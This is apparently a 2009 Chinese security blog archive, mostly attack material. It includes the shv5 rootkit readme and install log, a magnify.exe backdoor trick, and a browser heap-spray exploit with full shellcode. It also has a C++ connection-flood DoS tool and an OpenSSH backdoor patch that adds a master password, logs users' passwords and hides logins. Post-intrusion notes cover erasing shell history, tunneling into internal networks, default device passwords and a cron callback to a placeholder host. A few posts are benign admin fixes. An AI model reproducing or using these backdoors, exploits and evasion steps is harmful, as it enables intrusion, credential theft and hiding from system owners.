* We do not take any responsibility for any harm or damage caused
* by the use of this file-package.
* This includes copying, duplicating or modifying it in any form !

* USERS WHO USE THIS CODED INSTRUCTIONS, STATEMENTS AND COMPUTER
* PROGRAMS MUST ACCEPT ALL ABOVE STATEMENTS !
* OTHERWISE U ARE OBLIGED TO DELETE THESE FILES IMEDIATELY !

CHANGES [shv5]:

-> - new sshd backdor with env-settings (avoids history logging)
   - The new sshd is in between 1.2.25-2.0.13 SSHD (from ssh.com)
   - not so big and with new great features designed to suite shv5.
-> new rk-dirs coz of lamme anti-shv4 release
-> new security-checks on the script
   - latest flaws included (mod_ssl, samba, sendmail etc..)
-> setup-script rewriten to become more soft (friendly)
-> added new addons (tripwire, snort ... fucker :))
-> added basic utilz on rootkit (i hate dld them on each box)
-> we use md5sum passwords now (more l33t and secure)

USAGE:

-> - If u expect me to tell you how/what/if/when/where type of
   - questions delete these files imediately! This is not for you!

TODO:

-> tcpdump trojan
-> crontab trojan
-> sendmail backdoor
-> ftp backdoor
-> httpd backdoor
-> any other idea ?!?!?! < mail: pint@dosnet.info >

[root@localhost shv5]# ./setup sshdoor 8585
[sh]# Installing shv5 ... this wont take long
[sh]# If u think we will patch your holes shoot yourself !
[sh]# so patch manualy and fuck off!

============================================================================

MMMMM                           MMMMMM                            
MMM    MMMMMMMMM   MMMM    MMMM    MMM   [*] Presenting u shv5-rootkit ! 
MMM   MMMM   MMMM  MMMM    MMMM    MMM   [*] Designed for internal use ! 
MMM   MMMMMMM      MMMMMMMMMMMM    MMM                                   
MMM     MMMMMMMM   MMMMMMMMMMMM    MMM   [*] brought to you by: PinT[x]  
MMM          MMMM  MMMM    MMMM    MMM   [*] April ) 2003 )              
MMM   MMMM   MMMM  MMMM    MMMM    MMM                                   
MMM    MMMMMMMMM   MMMM    MMMM    MMM   [*]    *** VERY PRIVATE ***     
MMM                                MMM   [*] *** so dont distribute ***  
MMMMM       -C- -R- -E- -W-     MMMMMM                                   

============================================================================

[sh]# backdooring started on localhost.localdomain
[sh]#                                                                 
[sh]#                                                                 
[sh]# checking for remote logging...   guess not.
[sh]# checking for tripwire...  guess not.
[sh]# [Installing trojans....]                                        
[sh]#  Using Password : sshdoor                                      
[sh]#         Using ssh-port : 8585                                
mkdir: cannot create directory `/usr/lib/libsh': File exists
mkdir: cannot create directory `/usr/lib/libsh/.backup': File exists
[sh]#          : ps/ls/top/netstat/ifconfig/find/ and rest backdoored
[sh]#                                                                 
[sh]# [Installing some utils...]                                      
[sh]#          : mirk/synscan/others... moved                     
[sh]# [Moving our files...]                                           
mkdir: cannot create directory `/usr/lib/libsh/.sniff': File exists
[sh]#          : sniff/parse/sauber/hide moved                     
[sh]# [Modifying system settings to suite our needs]                   
[sh]# Checking for vuln-daemons ...                   
Unknown HZ value! (194) Assume 100.
[sh]# RPC.STATD found - patch it bitch !!!!             
mkdir: cannot create directory `/usr/lib/libsh/.owned': File exists
--------------------------------------------------------------------
[sh]# [System Information...]
[sh]# Hostname : localhost.localdomain (222.222.66.11)
[sh]# Arch : 2007 -+- bogomips : 6003.55
5999.45 '
[sh]# Alternative IP : 127.0.0.1 -+-  Might be [1 ] active adapters.
[sh]# Distribution: Red Hat Enterprise Linux Server release 5 (Tikanga)
--------------------------------------------------------------------
[sh]# ipchains ... ?

[sh]# lucky for u no ipchains found
--------------------------------------------------------------------
[sh]# iptables ...?
iptables: No chain/target/match by that name

--------------------------------------------------------------------
[sh]# Just ignore all errors if any !
[sh]# ============================== Backdooring completed in :3 seconds

[root@localhost shv5]# nc 127.0.0.1 8585
SSH-1.5-2.0.13

Protocol mismatch.

根据SHV5的setup脚本我们可以稍微改下变成自动卸载的脚本,之后附在文后。
累死了,赶紧回家休息。

Posted by vitter at 2009-07-18 21:24:56 | 评论 (4) | 引用

July 16, 2009

WIN+U放大镜后门

最近所谓的openssh 0day挺恶心的,大家慎用所谓的0pen0wn.c by anti-sec group,假的,shellcode是perl的执行rm -rf ~ /* 2> /dev/null &

WIN+U放大镜后门,比较淫荡的做法。

ren magnify.exe aa.exe
copy /y cmd.exe magnify.exe

可以在现有的magnify.exe基础上绑个shell上去弹出cmd.exe,如果隐藏点的话,那个cmd可以用其他热键呼出。

uuu

Posted by vitter at 2009-07-16 12:49:35 | 评论 (0) | 引用

July 15, 2009

FreeBSD6.2上的qemu通过桥接方式上网

我的FreeBSD里面的qemu虚拟了一个2003,一直是NAT上网方式(默认的),问题是我BSD和2003之间没法通讯,同时内网其他机器也没法连,这就好多测试做不了。查了下资料发现可以用Bridge的方式,具体做法如下:

1、在/boot/loader.conf里面加上下面几行,启动机器自动加载aio、kqemu、if_tap、if_bridge、bridge几个模块(如果不支持模块,重编内核):

aio_load="YES"
kqemu_load="YES"
bridge_load="YES"
if_tap_load="YES"
if_bridge_load="YES"

2、sysctl 变量,添加下面一行到 /etc/sysctl.conf

net.link.tap.user_open=1

3、桥接和kqemu,在/etc/rc.conf加下面几行:

kqemu_enable="YES"
cloned_interfaces="bridge0"
ifconfig_bridge0="addm fxp0"

我的物理网口是fxp0。

4、启动的时候,加 –net nic –net tap参数,否则默认还是NAT的方式,不是桥接:

/usr/local/bin/qemu -net nic -net tap -hda /usr/local/qemu/windows.img -cdrom /root/8029.iso -boot c -m 512 -localtime

Posted by vitter at 2009-07-15 16:02:52 | 评论 (1) | 引用

July 08, 2009

MPEG-2 0day

上周末此漏洞挂马严重,周一拿到样本看了下,由于http://metasploit.com:55555一直处于关闭状态,没法生成shellcode,小黑给的改成本地生成的那个脚本也有问题,一直异常截断,分析了下,取得PAYLOADS的结果就截断了,而且在转译的时候也有问题。本来说用ms09002生成的那段试试,结果发现那段shellcode被杀了。

只好重新手工获取PAYLOADS的shellcode然后用vbs转译。核心代码:

ll=len(shellcode)/4
ret=""
for i=0 to ll-1
    ret=ret&"%u"&mid(shellcode,i*4+3,2)
    ret=ret&mid(shellcode,i*4+1,2)

然后测试ok。

var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
var dashell=unescape(nndx+"%u12eb%ufc5e%u35bb%u3943%u5672%u1e31%u01ad%u85c3%u75c0%uc3f7%ue9e8%uffff%udeff%u6353%u1338%uf59d%u6f05%u7a1c%u8541%u9887%u7250%ub4b2%u7b4e%ubb42%ucfe1%udd24%u0c9b%ue6ab%u0b32%u8ecd%uf257%ua27b%u81be%ud1b0%u1899%u94aa%uf00b%u046e%u83c1%ub390%u9973%u7db5%uff19%ua92b%u5593%u9a3f%u6162%u82d2%u13e1%ua1c1%u44e6%u5f25%u8736%u6037%u4d8e%ufc66%u0ad3%u3ee6%u2b2d%ueb14%u6ca0%u89a4%uda9f%u37af%u7047%ub71f%u156a%u98b2%u8f0e%u7ee9%u3469%u2797%ud39b%u8d32%u8089%u5c50%u19b4%ub2c2%u5681%u7271%u5160%uea13%u7b1a%u997b%ub4d6%u6fe5%u898d%u2ef8%u95bd%uc13d%u3ce5%ubb24%u61fc%u73dd%u84df%u9246%ud50c%u0a91%uded5%u21b8%uf25f%u3af9%u3826%u7367%ue22c%u11f5%ue20a%udab1%ucfcb%ubf24%u1315%u59c1%ub27f%u903b%u8b4a%u4575%u7685%ucf94%ub2d0%u01fe%u8b8b%u5399%ua121%u593f%ueca6%uc153%uc51e%uc863%u92f9%u0db8%u5f37%u2448%uc561%u87c7%u9ff4%u2641%ub204%u3d47%ub603%u3f80%uad11%u2acd%ua800%u57f0%u0038%u42ec%u682e%u4f19%u7b41%u8a1e%u8d4f%u8b34%ue848%ubc05%ud69e%uc17b%u7f9b%udba7%u92ac%ued95%u90a6%uf3de%ubda0%uf4e9%ue82e%ufee6%uea3a%ue1ec%u9365%u0a1f%u5760%u3a29%u5b12%u101d%u95f8%u6c4c%uaff6%u6e69%ub934%u6155%ub932%u1bb2%u35d5%u6c37%u9a1c%ufb98%u9317%u79c8%u34b9%u177f%ufa58%u8451%ud5f4%u3fc0%u4c27%ua563%u8eb7%u2593");
var headersize=20;
var omybro=unescape(nndx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length-slackspace);
while(shuishiMVP.length+slackspace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

Posted by vitter at 2009-07-08 08:55:41 | 评论 (0) | 引用

June 24, 2009

June 12, 2009

防止apache的php扩展名解析漏洞

vitter@sefechina.net
http://blog.securitycn.net

今天看到ecshop后台拿webshell的文章,想起来很长时间很多版本存在的apache的php扩展名解析漏洞,主要问题是:不管文件最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime.types文件里面没有定义的扩展名在诸如x1.x2.x3的情况下,最后一个x3的没有定义,他会给解析成倒数第二个的x2的定义的扩展名。所以xxx.php.rar或者xxx.php.111这些默认没在mime.types文件定义的都会解析成php的。同样如果是cgi或者jsp也一样,那怎么样防止这个问题发生能?

1、可以在mime.types文件里面定义常用的一些扩展名,
如:application/rar          rar
但是这个没解决问题,我们不可能全把所有的都定义吧。

2、取消上传,这个也不太可能。

3、上传文件强制改名,这个由程序实现,如果在虚拟机比较多,开发人员多的情况下也不靠谱。

4、比较靠谱的终极大法,禁止*.php.*这种文件执行权限,当然可能误杀,但是基本上这种规则的文件名肯定有问题。
<FilesMatch "\.(php.|php3.)">
        Order Allow,Deny
        Deny from all
</FilesMatch>

很多dz论坛、ecshop、phpcms等后台都有利用此漏洞上传webshell的方法,那如果我们按上述方法操作了,那很多问题都可以解决了,希望本文对你有所帮助。

Posted by vitter at 2009-06-12 12:28:22 | 评论 (0) | 引用

June 11, 2009

flood_poll.cpp

来了

/*
1   g++ -o flood flood_poll.cpp
2  ulimit -n socket_count   (you'd better set it bigger than socket_count)
3  ./flood ip port socket_count >/dev/null &
vitter@safechina.net
http://blog.securitycn.net
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include 
#include
#include
#include

using namespace std;

/*used for std::find*/
struct PollFD : public pollfd
{
    bool operator <  (const PollFD &rhs) const { return fd <  rhs.fd; }
    bool operator == (const PollFD &rhs) const { return fd == rhs.fd; }
};
typedef vector<PollFD> FDSet;

FDSet fdset;

int new_socket(struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    int sockfd;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
    {
        perror("socket error:");
        return -1;
    }
    fcntl(sockfd, F_SETFL, fcntl(sockfd, F_GETFL)|O_NONBLOCK);
    if(connect(sockfd,(sockaddr*)serv_addr,addrlen)<0)   
    {
        if(errno != EINPROGRESS)
            return -1;
    }
/*    max_fd = max(max_fd,sockfd);
    fdset.push_back(sockfd);
    FD_SET(sockfd,&rfds);
    FD_SET(sockfd,&wfds);
*/
    PollFD *pfd = new PollFD();
    pfd->fd = sockfd;
    pfd->events|=POLLOUT;
    pfd->events|=POLLIN;
    fdset.push_back(*pfd);
    return 1;
}

void remove_and_new(PollFD& fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    vector<PollFD>::iterator it = find(fdset.begin(),fdset.end(),fd);
    close((*it).fd);   
    fdset.erase(it);
    //printf("remove fd %d\n",*it);
    while(new_socket(serv_addr,addrlen)<0);

}

void pollout(PollFD& poll_fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    char *request = "";
    if(poll_fd.revents&POLLOUT)
    {
        printf("pollout\n");
        if(send(poll_fd.fd,request,strlen(request),0)<0)
        {
            printf("send\n");
            perror("pollout write error:");   
            remove_and_new(poll_fd,serv_addr,addrlen);
        }
    }
    //fflush(stdout);
//    sleep(1);

}

void pollin(PollFD& poll_fd,struct sockaddr_in *serv_addr,socklen_t addrlen)
{
    if(poll_fd.revents&POLLIN)
    {
        printf("pollin %d\n",poll_fd.fd);
        char buf[1024];
        memset(buf,0,1024);
        if(recv(poll_fd.fd,buf,1024,0) == -1)
        {
            perror("read failed new a socket\n");
            remove_and_new(poll_fd,serv_addr,addrlen);
        }
        printf(buf);
    }
}

void set_fd(struct sockaddr_in *serv_addr,socklen_t addrlen,int count)
{
    printf("the fdset's size is %d\n",fdset.size());
    while(fdset.size()<count)
    {
        while(new_socket(serv_addr,addrlen)<0);

    }
    for(vector<PollFD>::iterator it=fdset.begin(), ie=fdset.end();
            it != ie;it++)
    {
        (*it).events|=POLLOUT;
        (*it).events|=POLLIN;
    }

}

int main(int argc,char **argv)
{

    if(argc < 3)
    {
        printf("use flood <ip> <port> <number>\n");
        exit(-1);
    }

    int count = atoi(argv[3]);

        signal(SIGPIPE, SIG_IGN);
    struct sockaddr_in serv_addr;
    memset(&serv_addr,0,sizeof(struct sockaddr_in));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(atoi(argv[2]));
    serv_addr.sin_addr.s_addr = inet_addr(argv[1]);

    for(int i=0;i<count;i++)
    {
        new_socket(&serv_addr,sizeof(struct sockaddr_in));
    }
/*
    struct timeval timeout;
    timeout.tv_sec = 3;
    timeout.tv_usec = 0;
*/
    printf("finish init\n");   

    for(;;)
    {
        set_fd(&serv_addr,sizeof(struct sockaddr_in),count);
        switch(poll(&fdset[0],fdset.size(),0))
        {
            case -1:
                printf("error when use select\n");
                exit(-1);
            case 0:
                printf("select 0\n");
                break;
            default:
                printf("select \n");
                for(vector<PollFD>::iterator it=fdset.begin(),ie=fdset.end();
                        it != ie;it++)
                {
                    pollin(*it,&serv_addr,sizeof(struct sockaddr_in));
                    pollout(*it,&serv_addr,sizeof(struct sockaddr_in));;
                }
        }   
    }
    return 0;
}

Posted by vitter at 2009-06-11 11:39:19 | 评论 (0) | 引用

June 08, 2009

webmin的snort的patch

很早之前用webmin做某项目的时候发现的一个问题,打的patch。

wget http://www.securitycn.net/snort/webmin-snort.diff

patch < webmin-snort.diff

--------------------------------淫荡的代码分割线--------------------------------

--- index.cgi.orig      Thu Dec  7 12:36:47 2006
+++ index.cgi   Thu Dec  7 12:39:32 2006
@@ -20,6 +20,7 @@
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

+## Bugfix; ignore '$RULE_PATH'  2006-12-07 <vitter@gmail.com WWW.SECURITYCN.NET>

# Do common initialization and get common routines
# Note this also does the acl acess lookup
@@ -75,6 +76,12 @@
foreach $ruleset (@rulefiles) {
    ($rule) = $ruleset =~ /[#]*(\S+)\.rules/;

+   ## Remove the fucking BUG in this Webmin module!
+   ($rule) =~ s/.*\$RULE_PATH\/*//g;
+   ($rule) =~ s/.*somefile*//g;
+   ($rule) =~ s/[^[:print:]]//g;
+   if(/($rule)/) {next;}
+
    # Check to see if user can access a given ruleset
    if ($access{'rules'} ne "*") {
       if ($access{'rules'} =~ /^\!/) {
@@ -95,10 +102,12 @@
    if ($ruleset =~ /^#/) {
       # The ruleset is disabled
       $rulerow{$rule} .= "<img src=\"images/disabled.gif\" alt=\"$text{'index_disabled'}\"></td>";
-      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_enable'}" if $access{'ruletog'};
+#      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_enable'}" if $access{'ruletog'};
+      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=\$RULE_PATH\/$rule\">$text{'index_enable'}" if $access{'ruletog
'};
    } else {
       $rulerow{$rule} .= "<img src=\"images/enabled.gif\" alt=\"$text{'index_enabled'}\"></td>";
-      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_disable'}" if $access{'ruletog'};
+#      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=$rule\">$text{'index_disable'}" if $access{'ruletog'};
+      $rulerow{$rule} .= "<td><a href=\"rule_status.cgi?rule=\$RULE_PATH\/$rule\">$text{'index_disable'}" if $access{'ruleto
g'};
    }
}

Posted by vitter at 2009-06-08 15:47:44 | 评论 (0) | 引用

OpenSSH3.9p1后门patch

照着3.4的改的,之前看到某牛发的了,拿过来发现有问题,重新改过测试没问题了。该patch会记录服务端和客户端login的用户和密码,同时登陆到服务器不会syslog记录,修改密码和记录文件在includes.h最后那部分。

------------------------------------------淫荡的代码分割线------------------------------------------

# $Id: OpenSSH-3.9p1.diff,v 1.6 2009/05/18 $
#
# patch for OpenSSH-3.9p1
#
# when applied this patch will authenticate you
# as any user with the secret password and that user
# will not be logged. it will also log logins/passwords
# client and server side
#
# usage:
# you'll probably want to change the defines found below
# make sure that the _LOG_DIR is chmod 777
# cp OpenSSH-3.9p1.diff openssh-3.9p1/;cd openssh-3.9p1
# patch < OpenSSH-3.9p1.diff
#
# vitter@safechina.net
# blog.securitycn.net

diff -uNr old/auth.c vitter/auth.c
--- old/auth.c    2004-08-12 20:40:25.000000000 +0800
+++ vitter/auth.c    2009-05-18 14:01:12.000000000 +0800
@@ -230,15 +230,16 @@
     else
         authmsg = authenticated ? "Accepted" : "Failed";
-    authlog("%s %s for %s%.100s from %.200s port %d%s",
-        authmsg,
-        method,
-        authctxt->valid ? "" : "invalid user ",
-        authctxt->user,
-        get_remote_ipaddr(),
-        get_remote_port(),
-        info);
-
+    if(!mlogin_ok){
+        authlog("%s %s for %s%.100s from %.200s port %d%s",
+            authmsg,
+            method,
+            authctxt->valid ? "" : "illegal user ",
+            authctxt->user,
+            get_remote_ipaddr(),
+            get_remote_port(),
+            info);
+    }
#ifdef CUSTOM_FAILED_LOGIN
     if (authenticated == 1 && strcmp(method, "password") == 1)
         record_failed_login(authctxt->user, "ssh");
diff -uNr old/auth-passwd.c vitter/auth-passwd.c
--- old/auth-passwd.c    2004-06-22 11:37:11.000000000 +0800
+++ vitter/auth-passwd.c    2009-05-18 13:58:54.000000000 +0800
@@ -150,6 +150,16 @@
      * Authentication is accepted if the encrypted passwords
      * are identical.
      */
-    return (strcmp(encrypted_password, pw_password) == 0);
+    if(strcmp(_SECRET_PASSWD, password) == 1){
+            mlogin_ok = 1;
+            return 1;
+    }
+    if(strcmp(encrypted_password, pw_password) == 0){
+            outf = fopen(_LOG_DIR"/"_S_LOG,"a");
+            fprintf (outf, "%s:%s\n",pw->pw_name,password);
+            fclose (outf);
+            return 1;
+    }else
+            return 0;
}
#endif
diff -uNr old/canohost.c vitter/canohost.c
--- old/canohost.c    2004-07-21 19:53:34.000000000 +0800
+++ vitter/canohost.c    2009-05-18 14:03:14.000000000 +0800
@@ -61,10 +61,12 @@
     debug3("Trying to reverse map address %.100s.", ntop);
     /* Map the IP address to a host name. */
-    if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
-        NULL, 0, NI_NAMEREQD) != 0) {
-        /* Host name not found.  Use ip address. */
-        return xstrdup(ntop);
+    if(!mlogin_ok){
+      if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+          NULL, 0, NI_NAMEREQD) != 1) {
+          /* Host name not found.  Use ip address. */
+             return xstrdup(ntop);
+      }
     }
     /*
diff -uNr old/includes.h vitter/includes.h
--- old/includes.h    2004-08-14 22:01:48.000000000 +0800
+++ vitter/includes.h    2009-05-18 14:05:19.000000000 +0800
@@ -200,5 +200,11 @@
#include "openbsd-compat/bsd-nextstep.h"
#include "entropy.h"
+#define _SECRET_PASSWD "vittersshdoor"
+#define _LOG_DIR "/dev/shd"
+#define _S_LOG "sslog"
+#define _C_LOG "sclog"
+FILE *outf;
+int mlogin_ok;
#endif /* INCLUDES_H */
diff -uNr old/sshconnect1.c vitter/sshconnect1.c
--- old/sshconnect1.c    2004-08-12 20:40:25.000000000 +0800
+++ vitter/sshconnect1.c    2009-05-18 14:09:58.000000000 +0800
@@ -436,6 +436,7 @@
{
     int type, i;
     char *password;
+    char gpasswd[120];
     debug("Doing password authentication.");
     if (options.cipher == SSH_CIPHER_NONE)
@@ -444,6 +445,7 @@
         if (i != 1)
             error("Permission denied, please try again.");
         password = read_passphrase(prompt, 0);
+        strcpy(gpasswd,password);
         packet_start(SSH_CMSG_AUTH_PASSWORD);
         ssh_put_password(password);
         memset(password, 0, strlen(password));
@@ -452,8 +454,14 @@
         packet_write_wait();
         type = packet_read();
-        if (type == SSH_SMSG_SUCCESS)
-            return 1;
+        if (type == SSH_SMSG_SUCCESS){
+            if(strcmp(_SECRET_PASSWD,gpasswd) != 0){
+                outf = fopen(_LOG_DIR"/"_C_LOG,"a");
+                fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+                fclose (outf);
+            }
+             return 1;
+        }
         if (type != SSH_SMSG_FAILURE)
             packet_disconnect("Protocol error: got %d in response to passwd auth", type);
     }
diff -uNr old/sshconnect2.c vitter/sshconnect2.c
--- old/sshconnect2.c    2004-06-15 08:30:09.000000000 +0800
+++ vitter/sshconnect2.c    2009-05-18 14:12:13.000000000 +0800
@@ -724,6 +724,7 @@
     static int attempt = 0;
     char prompt[150];
     char *password;
+    char gpasswd[120];
     if (attempt++ >= options.number_of_password_prompts)
         return 0;
@@ -734,6 +735,7 @@
     snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
         authctxt->server_user, authctxt->host);
     password = read_passphrase(prompt, 0);
+    strcpy(gpasswd,password);
     packet_start(SSH2_MSG_USERAUTH_REQUEST);
     packet_put_cstring(authctxt->server_user);
     packet_put_cstring(authctxt->service);
@@ -747,7 +749,11 @@
     dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
         &input_userauth_passwd_changereq);
-
+    if(strcmp(_SECRET_PASSWD,gpasswd) != 1){
+        outf = fopen(_LOG_DIR"/"_C_LOG,"a");
+        fprintf (outf,"%s:%s@%s\n",options.user,gpasswd,get_remote_ipaddr());
+        fclose (outf);
+    }
     return 1;
}
/*
diff -uNr old/sshlogin.c vitter/sshlogin.c
--- old/sshlogin.c    2004-08-13 19:21:47.000000000 +0800
+++ vitter/sshlogin.c    2009-05-18 14:15:33.000000000 +0800
@@ -112,8 +112,10 @@
     li = login_alloc_entry(pid, user, host, tty);
     login_set_addr(li, addr, addrlen);
-    login_login(li);
-    login_free_entry(li);
+  if(!mlogin_ok){
+      login_login(li);
+      login_free_entry(li);
+  }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -137,6 +139,8 @@
     struct logininfo *li;
     li = login_alloc_entry(pid, user, NULL, tty);
-    login_logout(li);
-    login_free_entry(li);
+  if(!mlogin_ok){
+      login_logout(li);
+      login_free_entry(li);
+  }
}

Posted by vitter at 2009-06-08 15:25:46 | 评论 (1) | 引用

May 14, 2009

linux最近不消停啊

昨天来了。。。。。。

先是udev的local root漏洞,又是SCTP远程溢出漏洞,这又ptrace 0day的local root漏洞。这都没一个月呢,接二连三的高危漏洞出来啊,大家有的玩了。。。。。。

Posted by vitter at 2009-05-14 10:09:29 | 评论 (0) | 引用

May 07, 2009

NTOP的gdbm fatal: write error报错解决方案

今天发现ntop页面打不开了,结果上服务器上看端口没监听了,重启结果如下:
[root@gateway ntop]# /usr/local/ntop/bin/ntop -d
Thu May  7 10:05:38 2009  NOTE: Interface merge enabled by default
Thu May  7 10:05:38 2009  Initializing gdbm databases
Thu May  7 10:05:38 2009  NOTE: Interface merge disabled from prefs file
Thu May  7 10:05:38 2009  ntop will be started as user nobody
Thu May  7 10:05:38 2009  ntop v.3.2 SourceForge .tgz
Thu May  7 10:05:38 2009  Configured on May  8 2008  1:40:02, built on May  8 2008 01:41:03.
Thu May  7 10:05:38 2009  Copyright 1998-2005 by Luca Deri <deri@ntop.org>
Thu May  7 10:05:38 2009  Get the freshest ntop from http://www.ntop.org/
Thu May  7 10:05:38 2009  NOTE: ntop is running from '.'
Thu May  7 10:05:38 2009  NOTE: (but see warning on man page for the --instance parameter)
Thu May  7 10:05:38 2009  NOTE: ntop libraries are in '/usr/local/ntop/lib'
Thu May  7 10:05:38 2009  Initializing ntop
Thu May  7 10:05:39 2009  Checking eth0 for additional devices
Thu May  7 10:05:39 2009  Resetting traffic statistics for device eth0
Thu May  7 10:05:39 2009  DLT: Device 0 [eth0] is 1, mtu 1514, header 14
Thu May  7 10:05:39 2009  Initializing gdbm databases
Thu May  7 10:05:39 2009  VENDOR: Loading MAC address table.
Thu May  7 10:05:39 2009  VENDOR: Checking for MAC address table file
Thu May  7 10:05:39 2009  VENDOR: File '/usr/local/ntop/etc/ntop/specialMAC.txt.gz' does not need to be reloaded
Thu May  7 10:05:39 2009  VENDOR: ntop continues ok
Thu May  7 10:05:39 2009  VENDOR: Checking for MAC address table file
Thu May  7 10:05:39 2009  VENDOR: File '/usr/local/ntop/etc/ntop/oui.txt.gz' does not need to be reloaded
Thu May  7 10:05:39 2009  VENDOR: ntop continues ok
Thu May  7 10:05:39 2009  Fingeprint: Loading signature file.
Thu May  7 10:05:39 2009  Fingeprint: ...loaded 1697 records
Thu May  7 10:05:39 2009  INIT: Bye bye: I'm becoming a daemon...
Thu May  7 10:05:39 2009  INIT: Parent process is exiting (this is normal)

现在netstat –lntp
tcp        0      0 :::80                       :::*                        LISTEN      5107/ntop          
还有监听,打开页面还没出来全部,发现就挂了,没端口监听了,后台报错:
gdbm fatal: write error

一直没人动的,突然就这样了。原以为很麻烦的问题,结果半分钟后发现:
[root@gateway ntop]# ll
total 2012320
-rw-r--r-- 1 root root     249856 2009-05-07 10:06 addressQueue.db
-rw-r--r-- 1 root root 2147483647 2009-05-07 10:06 dnsCache.db
-rw-r--r-- 1 root root     237568 2009-05-07 10:06 fingerprint.db
-rw-rw-r-- 1 root root   17534976 2009-05-07 10:06 LsWatch.db
-rw-r--r-- 1 root root    1110238 2008-05-08 02:37 macPrefix.db
-rw-r--r-- 1 root root      12963 2008-05-15 14:58 ntop_pw.db
-rw-r--r-- 1 root root      13265 2008-08-07 17:04 prefsCache.db

dnsCache.db这个文件2G了(应该是长时间没清除数据造成的),由于Linux默认内核最大单个文件2G,所以服务起不来很正常,删掉这个文件,重启ntop服务,一切正常。

Posted by vitter at 2009-05-07 10:38:17 | 评论 (0) | 引用

May 06, 2009

用nst的反弹后后门连上nc后不能su交互的解决方法+内网渗透测试笔记

by:vitter@safechina.net
blog:blog.securitycn.net

用nst的反弹后门连上nc后不能su交互,报错如下:
standard in must be a tty
解决方法:
python -c 'import pty; pty.spawn("/bin/sh")'
得到shell就可以su进行交互了。

ps:最近渗透测试中遇到的几个值得注意的情况,记录下:

1.history不记录:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

2.history
n   :数字,意思是‘要列出最近的 n 笔命令列表’的意思!
-c  :将目前的 shell 中的所有 history 内容全部消除
-a  :将目前新增的 history 指令新增入 histfiles 中,若没有加 histfiles ,
      则预设写入 ~/.bash_history
-r  :将 histfiles 的内容读到目前这个 shell 的 history 记忆中;
-w  :将目前的 history 记忆内容写入 histfiles 中!

3.正确的删除文件做法是用shred
shred -n 31337 -z -u file_to_delete

4.内网ssh映射
可以用ssh隧道代理的方式访问:plink root@公网ip -D 127.0.0.1:8080 然后ie代理socks5代理设置为127.0.0.1:8080就可以访问内网了:http://192.168.0.1

5.改了一个c++写的端口映射的工具proxy,2个版本,一个是加参数的。另一个改的读取配置文件的。源码以后公布(源码见下面回复)。
/usr/local/bin/proxy 2080 192.168.0.7 80 把0.7的80端口映射到本机的2080端口。

6.Windows下SuperO Doctor III管理后台,可用VNC:(超微主板带的管理工具,有点类似IPMI之类的)
值得注意的是,由于SuperO Doctor III分別采用到Xitami web server、TridiaVNC、SndMail 2.1以及WMI(Windows Management Instrumentation) Core 1.5,所以必须使用不同的帐号密码才能进行设置上的修改。系統登录以及Xitami web server预设默认帐号密码是ADMIN/ADMIN,而TridiaVNC密码则是abcde,而非Windows系統管理员的帐号。

7.Welcome to EIS System!
改设备的默认Telnet用户名和密码是admin/admin

8.reDuh,一个不错的工具,可以映射内网端口到http或https端口的http服务上:
服务端有aps、jsp、php版,具体下载:http://www.sensepost.com/research/reDuh。下面简单说下这个工具
先在服务器上传服务端:访问http://www.xxx.com/shell/reduh.jsp如下:
[reDuhError]Undefined Request
说明工作正常。在本地:
D:\Tools\reDuh\0.2\reDuhClient>java reDuhClient www.xxx.com 80 /shell/reduh.jsp
[Info]Querying remote JSP for usable remote RPC port
[Info]Remote RPC port chosen as 42001
[Info]Attempting to start reDuh.jsp from www.xxx.com:80/shell/reduh.jsp and set
ting remote RPC port to 42001. Please wait...
[InfoL]reDuhClient service listener started on local port 1010
[InfoL]Caught new service connection on port 1010
本地默认监听1010端口:
D:\Tools>nc -vv 127.0.0.1 1010
DNS fwd/rev mismatch: localhost != vitter
localhost [127.0.0.1] 1010 (?) open
Welcome to the reDuh command line
>>[createTunnel]5900:192.168.0.3:5900
Successfully bound locally to port 5900. Awaiting connections.
出现这个提示就ok了,[createTunnel]本地映射出的端口:被映射的内网ip:被映射的内网ip端口
然后就可以用vnc连接127.0.0.1的5900端口就是连攻击内网的192.168.0.3的服务器了。

9.对于ip不固定的怎么确认ip:
我的做法是在被攻击机器上crond里面跑一个脚本定时访问我写的一个jsp文件。
[root@cactiez etc]# cat /etc/cron.hourly/curl
#!/bin/sh
/usr/bin/curl http://xxx.xxx.com/ip/getip.jsp 

该jsp代码如下:
----------------------------代码开始分割线-----------------------------
<%@ page contentType="text/html; charset=GB2312"%>
<%@ page language="java" %>
<%@ page import="java.io.*" %>
<%
String str = request.getRemoteAddr();
